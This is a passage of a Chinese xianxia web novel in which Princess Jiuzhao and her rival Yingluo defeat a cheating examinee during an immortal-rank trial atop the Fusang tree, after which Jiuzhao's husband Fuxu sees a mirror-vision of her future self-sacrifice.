纵有仙力感应,但落到真实的对战中,有时仅是电光火石间的本能反应,想要根据不断变化的战局迅速做出调整,非融刻在骨血里的长时间训练修行而不能成。 九昭又一次感谢起扶胥这三个月以来,严格而无微不至的教导。 不似纸上的高谈阔论,他所传授的每一点,运用于实际中都格外有效。 时间一点一滴流逝,孟楚只以防守为主,并不暴露缺点给九昭。 可每每九昭想要将他甩开自顾前进,他偏又八爪鱼似地缠了上来。 局面粗看九昭主动,实则她步步陷入被动境地。 这样下去不行,谁知他们打的什么主意,就是车轮战,恐怕自己也得被耗死在这里。 不如冒险放手一搏。 直觉提醒九昭,潜伏敌人最好的攻击时机,就是她不顾一切进攻之时。 她余光迅速左右环视,心下有了应对的诱敌策略,顿时像被激怒般清喝一声,将仙力压缩凝聚在双手,挥拳打向孟楚,做出不顾一切,无法收稍的冲势。 孟楚眼前一亮,再度展开扇面,挡在自己的胸口前,唇角露出得逞笑意。 在他勾唇的一瞬,九昭也于心中发出讥笑。 果然不出所料。 那两个愚蠢的北境同谋自以为抓到她的破绽,终于行动起来。 一左一右,以身为剑,朝着她绷紧的膝弯发起进攻。 他们知晓九昭暂时抽不出手,只消击伤下盘,她就会因无法站稳而坠落树间。 感应到杀机迫近,九昭冷哼一声。 昔日演武场上的对练重现眼前,扶胥的一言一语充斥耳边,她不再是那个莽直只会一味正面强攻的战场新手——衣下左膝顺势如弓弦般绷紧,她猛地抬腿前踢,在击中孟楚下巴的同时,以不可思议的姿态伏腰转身,肘击右侧敌人,再给左侧的敌人一计凌厉飞踢。 “啊!” 呼痛声自三个不同的方向响起,悬空而起的九昭足尖轻点,复又落在激烈摇晃的树梢,红衣烈烈,姿态潇洒,望着被打下扶桑木的孟楚身形急剧坠落,无力复起。 “嘶——” 耍酷过后,她感觉到手背传来一阵钝痛。 这才发现皮肉被边缘锋利的折扇划开了一道小口,有点点血珠冒出。 她随手将其抹去,继续朝树顶攀登。 …… 和孟楚三人缠斗浪费了许多时间,九昭很烦。 原本就和滢罗有差距,这一下,岂不是连她的背影都看不见。 她一面躲避隐藏在枝叶间的层层障碍,一面寻觅着滢罗的踪迹。 勉力追赶半炷香的功夫,才看到滢罗标志性的浅蓝色鲛纱长裙—— 她正挥舞玉剑,将缠绕脚踝的蟒化藤蔓尽数砍去,只不过动作不似平时那般精准利落,透着几分漫不经心,叫人生出几分她将砍除藤蔓当做借口,正在此地拖延时间的错觉。 视野跃进九昭的身影,她面无表情的脸才有了笑的样子:“殿下。” 九昭没有为了跟她交谈而停顿,她步履不停,讥讽夹杂在咻咻的风声里:“本殿都解决完孟楚和他的两个跟屁虫了,你却在这里对付几根破藤蔓,滢罗,你的修行越修越倒退了啊——” “是臣仙力不精,让殿下见笑了。” 面对九昭的讥讽,滢罗目光闪了闪,笑容透出几分羞涩。 她信手丢开玉剑,掐诀令它在嗡鸣在中变宽变长。 然后从天而降,如砍瓜切菜般,将原本张牙舞爪的藤蔓连根斩断。 九昭:“……” 排在后位的考生尚未追上,万事万物皆在脚底。 浮云遮眼,这场仙阶考试,仿佛变成了她与滢罗相较的场所,再容不下第三人。 未到决战时刻,九昭不紧不慢坠在滢罗下方,时间倏忽放缓起来,两人竟还有空闲聊。 “你的验心幻境倒是突破得早。” “殿下也不遑多让。” “都说执念越深,越分不清幻象真实,看来你这神仙当的,确实六根清净。” “臣当然有执念,只不过这执念发生得太早,臣早在很多年前就学会了如何去克制。” “哦?那你跟本殿说说,你的幻境里出现了什么?” 幻境涉及神仙私隐,部分还有伤风化,不会暴露在众目睽睽之下。 九昭原本对打听这等八卦没什么兴趣,可滢罗的三言两语又勾动了她的好奇。 被问到这个问题,滢罗微微一笑,眼中情绪多了点莫测的意味:“殿下真想知道?” “也不是——”特别想。 后面三个字未出口,九昭附有轻身术的双脚一沉,跳跃间竟是把握不好力道,差点落空。 坠落之际,她急急召出打神鞭卷住树枝才勉强站稳。 “殿下,怎么了?” 察觉不对,滢罗收起玩笑的表情,正色问道。 “没什么,脚底打滑了一下而已。” 嘴上虽应付着她,对于自己的真实情况,九昭却是心里一沉。 全顾着打嘴仗没注意到,此刻运行在她体内的仙力竟是消耗了大半—— 方才的搏斗分明用的都是纯粹体术,便于起跳攀登的轻身术也仅仅用在手掌双脚,高阶的仙术不曾使用,就连打神鞭也才堪堪召唤出来须臾,何以仙力流逝速度会如此之快。 九昭的表情变化躲不过观察敏锐的滢罗。 担忧之下,她停止前进,放任九昭一跳落在高出她半身的位置。 也是这一下,她陡然捕捉到九昭身上的异样。 “殿下,您的后颈处,仿佛有什么在飘荡——” 九昭闻声立刻探手摸向后方,掌心却空荡荡触碰不到任何。 眼下身处的位置,以及仙力流逝的速度,也不足以让她打坐入定,去感知身体有何不同。 她狐疑地望着滢罗,后者则纵身来到她侧畔,以留影术摄下后颈画面,呈现于她眼前。 九昭定睛看去,一片空濛中,她的后颈中央,的确有三根几近透明的细线正在随风起伏。 细线尽处合并,化作针管状扎入她的皮肤,不痛不痒,无知无觉。 沿着细线垂落的方向朝下看,渺渺云层,苍翠枝叶作阻,一时不知延向何方。 如果想要抓出始作俑者,就意味着九昭需要主动滑下树梢,放弃仙考资格。 九昭面沉如水,忽闻滢罗说道:“臣好像猜出这是什么了,九尾狐一族的秘宝——” “汲源索?” 九昭条件反射接话道。 滢罗一点头:“跗肌之索,汲取神源——只要满足相隔咫尺距离,以及得到对方新鲜血液两个前置条件,汲源索就能够神不知鬼不觉地扎入皮肤,将他人的仙力源源不断供应给操控者。” 又是孟楚。 疑惑得到解开的同时,九昭恍然大悟,为何从一开始,孟楚就不吝仙力,穷追不舍。 原来,他打的是这个主意。 自己的仙力耗空了,还能续上她的。 至于为何汲源索会化作三股之数—— 九昭猜测,不用白不用,孟楚肯定还将她的仙力分给了两个北境拥趸。 照这种情况,倘若刚才的争斗他没有跌落三丈失去资格,接下来的登顶之争就会岌岌可危。 九昭触碰不到汲源索,滢罗也触碰不到。 她只听说过这狐族秘宝的名讳和效用,却不知要如何解除。 恼怒踌躇交织之时,滢罗半俯面孔,凑近她的脖颈。 九昭的耳垂颈项都十分敏感,被温热气息拂过,她腰肢发软,旁撤一大步,又惊又羞。 “你干什么!” “臣只是想到了一种可行的办法,想要一试。” 滢罗耐下心来,继续同她讲明道理:“无论殿下放弃仙考资格主动下去找孟楚,还是站在这里等着他们的到来,都是得不偿失。等在此处,就算狭路相逢,您一边要迎战三个敌人,一边又要被他们吸食仙力,处处受制,几乎没有获胜的可能性。” 尽管讨厌滢罗,九昭也不得不承认她分析得很有道理。 “可,可我又凭什么相信你……?!” “殿下现在也只能尝试相信我了,不是吗?” 她们耽搁的功夫,落在下方的竞争者们迫近不少。 为了节约时间,滢罗不再耗费精力哄她劝她。 她难得强硬的反问,配上那张居高临下的美人面,竟堵得九昭说不出一句话来。 九昭咬着嘴唇,赌气撇过头只能默认。 那来自滢罗身上的清香越来越近,耳畔却突然闯进利刃刺破肌体的锐声。 40| 第40章 ◎“臣为殿下做什么都是应该的。”◎ 锋利兵刃划过, 刺破雪白肌肤。 滢罗下手毫不犹豫,这一下割得极深,蕴着浓郁水灵的血液自腕部倾泻而下。 她将手腕凑近九昭后颈, 鲜血也随之洒落在那看似无实体的汲源索上。 九昭六觉敏锐, 闻到血腥味,立刻皱眉转过头去:“你在干什么——” 滢罗并不回答。 点滴不绝的鲜血穿透细线,很快消失在下方的云层间。 因水系金仙之力,她身体自愈的速度很快, 眼见伤势就要弥合,她再次用力连割两剑。 四周腥甜气息变浓,血液滴落到一定程度, 那原本牢牢埋在九昭肌肤间的汲源索尾端,竟然又贪婪地分出三根细线拧成的尖锐一根,朝滢罗的方向无声探去。 滢罗立即拔剑劈砍。 玉剑依旧穿破空气而下,没有触碰到汲源索的实体。 她的眉峰飞快蹙了一蹙, 沉吟不过一息, 干脆拉开颈项的衣衫, 做出放任姿态。 水蛭一般的尖针迅速找到最佳位置,刺入后颈, 吸收起滢罗的至纯仙力。 “你疯了吗?!” 见此情形, 九昭错愕睁大眼睛。 震惊之下,她出于本能伸出手去, 想要在汲源索深入血肉前夕将其拔去。 “殿下再运功感受一□□内的仙力, 看看流逝的速度有没有变慢些。” 滢罗使力握住九昭手指, 冷静开口。 她眉目俱是不容分说的笃定, 九昭只好按照她的吩咐, 重新凝神感知。 片刻后, 她惊疑不定地开口:“……好像,确实慢了点。” 滢罗这才露出如释重负的神情:“臣也是猜测,汲源索吸收仙力的容量总有上限,寻常神仙服食丹药以期修为进寸也要注意数量。过犹不及,定会损伤仙体,谅这狐族秘宝亦是如此。” “所以,你让它也吸收你的仙力……好替我承担一半?” 九昭瞬间领悟了滢罗的意思,一个疑惑也随之在她脑海浮现。 天仙高位近在咫尺,她的做法无疑加大得胜风险,还得罪了没必要得罪的孟楚,又是何必? “你为何要这样帮我?” 天上不会无缘无故掉馅饼下来,九昭下意识追问。 滢罗平静道:“臣为殿下做什么都是应该的,这是臣的本分。” “别人这样说或许本殿会相信。” 九昭的双眼追着滢罗的目光,炯炯直视,不肯放过她的任何神容变化,“但你是滢罗。” 滢罗却没有立刻给出解释。 她那一向从容温雅的瞳孔流转闪烁,犹豫一瞬,才仿佛难以启齿般轻轻说:“不管殿下怎么想,但在臣心目中,殿下从来都是滢罗最重要的——嗯,最重要的朋友。” 半是复杂半是动容的情绪,在听到滢罗剖白的刹那,将九昭的心神席卷。 她沉浸在纷杂思绪之中,以至于忽略了对方略显突兀的停顿。 难道是自己一直以来误会滢罗了? 可这些年,从亲密无间到渐行渐远,个中原因她从来不曾提起。 这种时刻,也容不得多想。 她的表情几番变化,最终硬邦邦地说道:“无论你是何目的,本殿都欠你一个人情。” 没有被咄咄逼人地质问,九昭一副大局为重的态度,让滢罗再次眸光闪烁。在如此场合吐露心声的忐忑顿时散去,她的眉梢眼角挂上宽慰:“孟楚以此等手段算计殿下,殿下可要反击?” “原来他们昨日在祈辰宫里悄声谋划的就是这些。” 九昭一磨牙:“孟楚也是长本事了,知道明着不行就暗着来,成日净学了些如焚业海邪魔一般不入流的手段!可惜——可惜不把他打回骚狐狸原形,本殿的名字就倒过来写!” …… 虽说要联手对抗孟楚,但九昭也没凭着怒火一味蛮干。 两人一面继续攀登扶桑神木,一面用密音交流起战术。 孟楚先是装作莽撞攻击九昭,被九昭击退的同时,又利用汲源索吸收九昭仙力,这意味着他的目的不仅仅是阻挠九昭夺得天仙之位这么简单,大概率后面还有其他的阴谋。 凡是仙器,都有发挥效用的范围。 既汲源索仍在持续吸取力量,想必孟楚不曾退出仙考,坠在两人身后随时准备伺机而动——但话说回来,整个考核过程里,选择任一时刻袭击,都不如在登顶一关中来得事半功倍。 九昭与滢罗讨论完毕,一致认为孟楚多半会保留吸取得来的仙力,放在最后发动奇袭。 “等会儿到了扶桑木冠顶的范围,殿下只消佯攻即可,小心来自暗处的偷袭。” 听到滢罗关怀,九昭的双眼死死盯住那隐藏在云深之处的未知前路,恍若未觉。 许久之后,才飞快又别扭地回应:“你也是。” …… 扶桑神木接近顶端的树冠,如同一片丰饶的苍翠之海。 无边无际的绿叶,化作数条刀枪不入的游龙在此守候。若靠得近些,它们便会发射势如骤雨的叶片飞刀——刀锋之利,木灵之盛,久战能够穿破考生的仙力屏障,切割肌肤,损伤仙体。 更遑论还有比被滢罗切断的蟒化藤,更高阶、更粗壮的藤蔓随时阻挠行动。 九昭和滢罗没有贸然靠近,她们一人占据一根枝杈默然站立。 不多时,孟楚果然追了上来。 许是滢罗的行为打乱了他的计划,他没有埋身潜伏,而是光明正大出现在她们面前。 云下寂寂,竟再无其他考生动静。 只余他们五人呈对峙之势,直面相迎。 他一时看着目含烈火的九昭,一时又歪头打量滢罗颈项的后方,而后意味深长地微笑:“我本想让宗姬顺利晋升天仙,不成想宗姬竟然选择和九昭殿下站在一起。” 滢罗不为他话里有话的言行所激,平声道:“是你投机取巧的行为叫我不齿。” 孟楚哈哈笑了起来,夸张的笑声扩散,惊扰云端。 笑了一阵,他惺惺作态地揩去眼角泪水,扬声反驳:“宗姬的话我实在不懂——何谓投机取巧?争身之试,不论手段,不计生死,我所做的,皆在考规允准的范围内!” 滢罗看他如看小丑:“你以为这样赢了我们,上到木顶的辉天殿,能够得到天道的承认?” 这一问颇为诛心,孟楚得意的面容登时陷入阴霾。 想不出来应该如何反驳,他冷笑道:“那也得上去了再说。” 语毕,他命两个同伴去攻击滢罗,自己则袭向仇人相见分外眼红的九昭。 到最后一战,无所谓再保存仙力,滢罗和九昭一人持剑,一人握鞭,目光催生出浩然战意。 不愿腹背受敌,她们足尖轻点,浮于半空,离开龙群结阵的范围。 滢罗仙力残缺,仍不改威势。 玉剑凌然生光,如长虹直贯敌人命脉,所到之处剑意结冰,封冻躲闪脚步。 她的剑招蕴着积年刻苦修行的娴熟灵敏,拏风跃云,哪怕二对一都令敌人暗暗叫苦。 而不必全然借助枝杈保持平衡,且与孟楚拉开了距离,九昭的打神鞭也终于得以发挥实力。她使鞭的手法似本人般透着心意无定,时而刺破空气,罩面相迎,时而攻向低盘,蛇卷脚腕。 不以仙力相抗,孟楚在体术兵器上远不如她。 他见自己的折扇难在对战中占据上风,干脆将折扇抛在胸前,双手急急掐出法诀。 “撑天地,折扇开!” 伴随着一声高喝,那金光闪闪的扇面迅速失去形状,化作一人高的防御屏障,而孟楚则躲在屏障后,一边抵挡打神鞭的连续攻击,一边朝着九昭的近身处缓慢迫近。 以仙器作法,便能结成最为坚固的屏障。 只是一来少了武器,许多攻击术无法运用,另一方面耗费的仙力也十分庞大。 反正消耗的不是他自己的力量,他自然无所顾忌。 九昭暗骂了句卑鄙小人,身后顿现九个爆裂作响的圆形火球,络绎不绝冲击金光屏障。 这时,滢罗的密音仓促入耳:“殿下,臣似乎发现了汲源索的弱点!您看看孟楚的尾指上是否带有一枚戒指,那枚戒指延伸出来的细线,即是汲取仙力的媒介——” 火球一顿,九昭立即看向孟楚撑在屏障上同自己对抗的双手。 果然,仔细观摩是有一条似有若无的细线,贴着尾指肌肤的几寸处,那细线逐渐变为实体。 她们无法解决一束虚光,却能够对有实体的东西下手。 九昭心中一喜,只要斩断汲源索,趁着仙力尚未完全枯竭,便还有一战之力。 只是鞭子不似长剑锋利,再加上防御屏障的帮助,仅靠远程想要破解,谈何容易。 余光恰好瞥见匍匐在树冠之上,择人而噬的叶龙和蟒化藤蔓,九昭突然有了计较。 水能灭火,火能焚木。 木属性的仙灵虽不惧怕等闲火焰,但源自凤凰的涅槃之火,它们却不得不避。 神后逝去,凤凰族在三清天绝迹万年,如同孟楚这般的年轻仙众,又有几人知晓他们的血脉威能——真血之力在这三个月里得到充分的长进,九昭正有心试一试自己进步到了何等程度。 思及此,她不再留恋战局,收起打神鞭,朝树冠深处飞去。 “殿下,何必畏战,也不怕坠了您的神姬威名!” 见九昭欲逃,孟楚更是得意。 他一如既往利用言语刺激九昭,又加快速度追赶九昭的身影而去。 只是追着追着,几丈外九昭的身上忽然迸发出熊熊火光。 火色正赤,高热迫人。 相隔甚远,孟楚亦能体会到足以引燃神魂的滚烫。 这是什么? 疑问浮出脑海,不等孟楚深究,那向九昭发起进攻的叶龙藤蔓,在触及火光的刹那,倏忽如同被定格般僵在原地,不过一个眨眼,又颇为畏惧地退后,四散开来。 反倒是孟楚这里。 “不好——” 在他的防御屏障之外,层层绿色将他尽数包围。 趁孟楚动弹不得,九昭一边忍受着仙力被榨取的痛苦,一边以密音催促滢罗: “速来助我斩断汲源索!”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 40-50 41| 第41章 ◎“殿下,臣来迟了。”◎ 树叶困障, 遮挡视线。 九昭的密音成功传出,却如石沉大海,迟迟得不到滢罗的回应。 也不知是她自顾不暇, 还是已经落败于二对一的战斗中。 九昭得不到答案, 却无法停止释放涅槃之火——只因这些被火驱逐的木灵,本就是为了阻拦考生登上扶桑木顶而存在,它们眼中只有进攻,这边被九昭逼退, 便会拼尽全力困住另一个。 九昭的真血之力尚未修炼到极致,对付畏火的木属仙灵还算有用,对付金仙就有些困难。再加上汲源索, 倘若跟孟楚近身作战,打神鞭施展不开,她将毫无胜算。 叶龙和藤蔓缠住屏障外围后,果如九昭猜测那般, 孟楚前进的脚步停了下来。 不能借助本命仙器释放攻击术, 他的手段有限, 难以对付层出不穷的进攻者。 绿意围绕的圆球在九昭几丈外岿然不动,里头隐约传出仙力施展的叮咣之声。 策划的计谋生效, 九昭本该高兴。 可随着仙力的逐渐干涸, 她不仅撑不起笑容,连眼皮都感觉到沉重。 身体空荡荡的, 透着直达神魂的疲怠, 支撑精神的气息溃散, 她浮在云端的双脚开始发软。 所以滢罗是真的不能赶来帮助她吗? 还是说, 她意识到孟楚想要对付的人只有自己一人, 所以伙同对阵的两位北境考生达成协议, 放弃与自己的结盟,此刻正登顶树冠,准备踏入辉天殿。 九昭无法控制思绪不过度展开,与此同时,她在内心苦笑:为着滢罗一句“最重要的朋友”,她便又好了伤疤忘了疼,再度交付信任,如此好骗,就算遭人背叛也是情理中事。 就在九昭犹豫着要不要干脆放手一搏之际,树冠西南方向,终于传来疾飞的响声—— 是滢罗。 她挥动玉剑,一下又一下斩断眼前的各路阻拦。 九昭连忙赶去接应,身上的涅槃火光,将缠绕她脚踝的藤蔓烧化。 “殿下,臣来迟了。” 凑近相视,九昭发觉滢罗看起来也挺狼狈。 秀面带血,束发的玉冠不翼而飞,连身上有着高阶防御之力的鲛衣也被撕开几道口子。 “那两个北境金仙呢?” 九昭侧开视线,观其身后,不见追兵,于是凑近耳边低问。 滢罗轻描淡写:“臣把他们都解决了。” 她不欲九昭担忧,将艰难的战事说得平淡,身处高热之下,眉眼间的萎靡不振却出卖实情。 九昭张了张嘴,心中为自己刚才的阴暗揣测浮现几分惭愧。 此刻仙考的输赢,以及能否登上树顶,已经不在她的考量范围之内。 思绪迅速变换,她打定主意,以密音同滢罗说道:“本殿方才算计了孟楚一把,将他困在自己的防御屏障之内,以至于他靠近不了我,我也奈何不了他。 “但他战力尚存,若较真起来,这些木灵也围困不了太久。如今蛰伏不出,多半是在同我比拼消耗,等到我仙力尽失,跌落树梢,他就能够突破包围,不费吹灰之力成为优胜者。” 将孟楚和“优胜者”三个字联系在一起,九昭的牙尖就忍不住一顿发痒,只恨不能冲上去咬下他的几块肉来。她稳了稳翻江倒海的心绪,长话短说:“但就像他猜测的那样,我的仙力确实持续不了太久了,孟楚虽能用汲源索吸收我们的仙力,到底伤病初愈,荒废修行—— “是而本殿决定将残余的仙力渡到你身上,助你劈开屏障,斩断汲源索,问鼎天仙之位!” “殿下——” 未料九昭是这等筹谋,滢罗条件反射就想开口。 九昭将她话音打断,从身周火光中攫取一小朵火种送入她的掌心,“这是凤凰族最高阶的涅槃火,能够驱逐木属仙灵,待我们打落孟楚,你手持此火上行,便可顺利登顶,但切记要快。” 将计划全盘交代完毕,九昭很满意滢罗没再唠唠叨叨,说些“臣要死在君前”之类的废话。 她见滢罗将火种收下,郑重颔首,只觉自己偿还了滢罗共同承担汲源索的人情,便也洒脱一笑:“一次失败而已,没什么大不了的,本殿的人生还有万万年可以重头再来!” 笑语过后,她的目光重归肃穆,侧身绕到滢罗背后,手掌紧贴肩胛,做出渡力姿势: “那就让孟楚受死吧——!!” 仙力顺着贴合的肌肤悉数淌入滢罗身躯,她们二人的衣衫长发无风自舞,骤闻烈烈之声。 滢罗亦在九昭的高喝中双手秉剑,高举过头。 涅槃凤火再度暴涨,似要燃尽世间晦暗。 所到之处,缠绕住屏障的木灵纷纷避让,露出金光后的孟楚。他尚不知晓即将发生什么,忽见九昭和滢罗一前一后,就要发出狞笑,头顶却突然响起令人牙酸的刺耳撞击声。 砰! 一下、两下、三下。 滢罗将玉剑的力量释放到极致,剑光化作半山高的法相,狠狠劈落孟楚头顶。 那看似无坚可摧的屏障在接连承受多下之后,蜿蜒开蛛网一般的斜纹,而后骤然粉碎! “咳——” 仙器受损,孟楚遭到反噬,捂着胸膛骤然喷出一口血来,踉跄着后退两步。 九昭的仙力亦在滢罗的高频攻击中消耗一空。 她快要昏死过去,却在下坠之际,榨干丹田的最后一丝力量,疯狂催动打神鞭将孟楚的右手牢牢缠住,方便滢罗用剑砍断汲源索。 好了。 应尽的义务已经尽了,应还的人情也已归还。 自己该做的事情全部做完了。 即便受封天仙的荣光无法披身,此行也已了无遗憾。 九昭释然闭上双眼,不再抵抗,放任身体坠落树间。 一只手却狠狠勒住她的腰杆。 九昭被突如其来的痛楚惊得再度睁眼,视线尽头是红了眼猛冲过来,仿佛要与她们同归于尽的孟楚,以及在滢罗的仙光指引下,重新飘进她额心的一小簇涅槃火种。 ——臣为殿下做什么都是应该的,这是臣的本分。 言犹在耳。 九昭被猛地向上一抛,水系仙术迅速覆盖她的全身,将她带往木顶的辉天神殿。 最后一眼,是滢罗纤细高挑的身影持剑奔向孟楚。 两人一计对掌,爆破的仙力摧毁周遭景象。 而后在打斗中互相拉扯着,双双跌落树梢。 …… 三清天,紫微宫。 随着九昭的身体跌入辉天殿,仙考迎来新的优胜者,移步镜的画面就此终结。 观试的众仙面面相觑。 以往就算争斗再如何激烈,如这般意志不清受封天仙的,还是头一遭。 事情涉及帝女九昭,一时无人出声。 寂静率先被一声轻微的动静打破。 只见神帝座下左首,原本静坐观试的扶胥化为粼光消散原地。 他身为九昭的丈夫,不告而别,前往何地众人用脚趾想想都能得知。 “帝座,扶胥上神他——” 踌躇几息,最有资历的南神王琼英犹豫着开口。 她欲参扶胥不得帝令应允就独身离开,违反天规,有失体统。 可一想到自己初次参加天仙考试的女儿,好不容易将要进入争身考核的最后一关,却被吸收了九昭和滢罗之力的孟楚暗算,惨叫着跌下树梢,心中就多了几分感同身受的愤慨和不忍。 说到一半,她忿忿瞪了眼坐在自己对面的北神王,止住话头。 最高座上却传来沉静天音:“诸位,请稍安勿躁。试场有嶷山上神坐镇,且等等再说。” …… 哪怕在仙魔交战最艰难的时候,扶胥的心也从未跳动得这么快过。 扑通、扑通、扑通。 仿佛只要无法确定九昭的无恙,这团血肉就要自行从喉中挣出,不顾一切前往她所在之处。 她应当无事吧—— 孟楚使此下作手段,当真该死! 两道截然相反的念头在脑海交战,扶胥阖了阖眼,按下几度攀升的暴怒。 再回神,人已身处辉天殿中。 辉天殿本为一方露天高台,因头顶悬浮的巨镜辉天而得名。 天仙考试的优胜者登顶入殿,得到天道认可,再经过神器辉天的光芒映照,便能洗髓伐骨,仙源涤淬,从此开启神境,踏上漫漫成神之路。 这殿中的一切,扶胥早在许多年前经历过,熟悉无比。他却一改从容姿态,快步近跑地奔向那个侧卧于殿,毫无知觉的身影,过程中还差点被地面虬结的木枝绊倒在地。 “九昭、九昭!” 握着九昭肩膀,将她翻过身来,扶胥一面低唤她的名字,一面输入力量探知内情。 幸好,没受重伤。 只是在仙力枯竭之后,身体出于自我保护,而陷入的昏睡状态。 扶胥高悬的心脏放下一半,他舒了口气,脱下外袍,小心翼翼披上九昭肩头,而后跪坐下来,让她的头颅枕靠大腿,并指对准额心的灵台之处,输入木属的精纯治愈之力。 扶胥为战神,神力多用于杀伐之事上。 生平仅有的几次释放治愈术,皆为九昭。 唯余彼此的高台内,他一边,等候九昭的醒来,一边静静回想滢罗在仙考中所做的一切。 就在这时,那高悬空中,本该等待天道判决的神器,却突然启动,映照出万丈光辉。 42| 第42章 ◎“她会毁了自己。”◎ 那光芒由浅至深, 直到将整座高台笼罩。 却并非天道对于九昭是否晋升天仙的裁决,而在穹顶的巨型圆镜中显示出一段画面。 画面里,扶胥看到了自己, 也看到了九昭。 那是一片尸骸遍野的战场。 他倒在浸满鲜血的漆黑土地上, 元神崩碎,奄奄一息。 鬼魅似的业火于四周时而迸发,吞捕生灵,幽紫火焰照亮上方遍布阴霾的天空。 扶胥认出这是焚业海。 画面向高处升起, 周围的局面也现于眼前。 他的剑断了,一半握在掌中,一半则断在倒地的仇敌胸膛。 象征魔尊的华冠跌落发顶, 月白长袍上大片鲜血凝固成污秽的印记,宿命的敌人早已停止呼吸,那双从不显山露水的眼睛却睁到最大,极度不甘地望着苍穹。 仿佛在指责天道何其不公。 兰祁。 是兰祁。 那个和自己千年间数度交手的仇敌, 他的妻子念念不忘的前任未婚夫婿。 扶胥尚不知缘何造成他与兰祁同归于尽的结果, 画面外的远方倏忽传来九昭泣血的声音。 “阿胥——” 这个熟悉又陌生的称呼, 让扶胥有些恍惚。 他低下头去,怀里昏睡的九昭不曾清醒。 所以, 是辉天镜中的声音。 扶胥又抬起头, 作神帝装扮的九昭已跌跌撞撞闯进画面,将他垂死的身体托起。 “上神元神破碎, 已无力回天, 帝座万万不可!” 这骤然响起的, 又是谁的劝阻声, 扶胥一下子难以分清。他的目光定格在九昭伤心欲绝的面孔上, 自己的心脏也为着虚幻的景象抽痛起来, 抽痛到快要四分五裂。 “我本就不愿做这神帝。 “是扶胥说过想与我并肩共治,看整个三清天重归海晏河清,我才笑着答允—— “如今他不在了,我要这一切又有什么用?” 相较流泪的眼睛,九昭回答的语调无比平静。 她目视怀中神侣的面容,一声一声,说着内心最真实的想法。 于是扶胥更痛,他情不自禁伸出手去,想要替她擦掉滑落的泪滴。 一瞬过后,烈焰般的图腾自神帝九昭的额心浮现。 她背后凭空而生的巨大火羽,掀起疾风将两旁试图靠近劝阻的重臣拂远。 在一声激越的凤啸中,她的凤凰真身浮出人躯,化作一缕凝光,钻入神侣生机将绝的灵台。 “帝座、帝座!您这又是何苦!” 至高的神力贯通即将归于虚无的元神,炽烈火光将微弱的绿意紧紧裹缠。 不知过了多久,垂死青年的胸膛重新拥有了微弱的起伏。 失去元神,散尽神力,九昭用以命换命的方式,从天道手里延续爱侣的生机。 她黑云一般的鸦发迅速变白,明艳不可方物的肌容长出无数皱纹,一瞬垂垂老矣。 在化作光点飘散前,唇角欢喜无忧的笑容却一如紫微宫内的初见: “千年、万、万年之后,扶胥树会重新开花。 “届时,便是他的归来之日。” …… 景象结束,辉天镜重归平静,俯瞰众生。 扶胥眸光颤动,脑海回想起的,是他与九昭成婚的初衷。 “降生失母,成人失夫,吾儿九昭贵为神姬如此命途多舛,叫本座如何不担忧。九昭是本座和太婀唯一骨血,太婀已逝,我无论如何都要保九昭一生顺遂,平安喜乐。 “扶胥,本座耗费一半寿数为九昭推衍未来,算出她想要坐稳神帝之位,需要你的辅佐。你为三清天出生入死,是本座最为倚重的良臣——你可甘愿付出忠诚,陪伴九昭终生?” 跪在玉砖之上,聆听浩浩天音。 扶胥仍记得自己那时的想法,无论是结契九昭,还是相助滢罗,只要对三清天有益就行。 他颔首应下,又得神帝语重心长的告诫:“本座了解自己的女儿,九昭和她的母亲太像,都是会为了心中所爱付出一切的个性,所以,扶胥本座要你答允我。如果你不能引导她脱离兰祁的影响,如果你不能教会她如何正确的爱人,你就不要让她对你付出过盛的感情。 “否则,不仅你们无法得到善果,她也会毁了自己,毁了三清天。” 此后,他奉命为九昭治疗受损元神千年。 千年,对于寿数漫长的神仙而言很短,可想要催开感情的花种,却是足够。 他陪伴九昭欢笑,陪伴九昭落泪。 见过源自她内心,所有人都不曾见过的期盼和落寞。 也有争吵、冷战、打架。 扶胥以为自己能够谨遵天令,做到克制冷静,不随意动心。 可九昭真诚而明亮的感情,还是将他内心的霜雪融化。 仙魔交战在即,他马上就要领军,战争旷日持久,归来之期无人可以预估。 料定了九昭会因为分离心生不安,他决定在出发前夕寻个合适的日子,同她坦诚胸怀。 然而。 他选定的日子,是个明朗无云的晴日。 结束公事来到离恨天,女婢告知九昭正在午睡。 其实大部分时候,扶胥都会选择待在九昭为他而设的偏殿,或是看书,或是处理军情,可那日不知怎的,不舍之情萦绕于心,他竟鬼使神差瞒着众侍,来到了九昭休憩的寝殿。 离恨天设有重重禁制,下仆不得偷听偷窥上主,唯有他这个与之成婚结契的夫婿不受限制。 站在厚重殿门前,扶胥犹豫着要不要推开,脑海已经擅自浮现九昭恬静的睡颜。 九昭安静的时刻,容颜也不再咄咄逼人,不管看上几眼,都有万种柔情在心。 扶胥的嘴角不由自主就要勾起。 一声梦呓打破他的幻想。 仿佛怨声,又仿佛哭泣。 未成形的微笑冻结在唇畔,他以为九昭遇到了梦魇。 心系一人,孤高禁欲如上神也不能免俗。 他半是心疼半是怜惜,急急想要推门而入,揽住九昭柔声安慰。 却那一刻听到了不该出现在这里的名字。 “兰祁,兰祁…… “为什么要这么对我…… “你若不曾心悦于我,又为何、为何要答应同我成婚……” 神魂回转时,因为握拳太紧,扶胥感觉到指骨传来不堪承受的痛意。 他忽然嘲笑起自己。 神帝下令,在九昭脱离兰祁的影响之前,不要让她付出太多感情。 没有做到前提。 她不该付出,他更不该头脑过热。 将起的战事,或许能够让彼此恢复冷静。 …… 此时此刻,辉天镜内呈现的,便是爱欲过盛的毁灭结局。 兰祁战死。 九昭丧命。 而侥幸被救回元神的他,须得温养千万年后方能苏醒。 三清天该由谁来统领? 仙魔之间的仇怨又该何去何从? 九昭为爱摧毁自身,也为爱让三界陷入渺茫未知的境地。 所以—— 他们的感情终究还是错了吗? 是他没有教会九昭如何正确爱人。还是这三个月以来,每次借由摄念花重构的回忆幻境,都在提醒他,九昭的执念和心魔为何——她从来都不曾真正放下兰祁。 唯余己身,无人解惑,扶胥很想叩问苍天,为何要开这样一个玩笑。 虽然在很久很久以前,他就明白天道早已暗中决定了每一个人的命数,却也难以接受堪堪开出花朵的感情,注定了只有毁灭和天人永隔的下场。 扶胥从来坚定的目光,罕见地露出软弱迷惘。 不知所措之际,臂弯间传来九昭醒转的呻/吟。 “唔,身体好重……” 浓密的长睫抖颤,难以聚焦的双眸睁了开来。猝不及防撞上扶胥凝望的视线,九昭呼吸顿了顿,才道,“阿、阿胥,你怎么会在这里?怎的脸色这么难看?” 天命唯有命定之人方可窥探,直接泄露画面的内容必将遭到天谴。 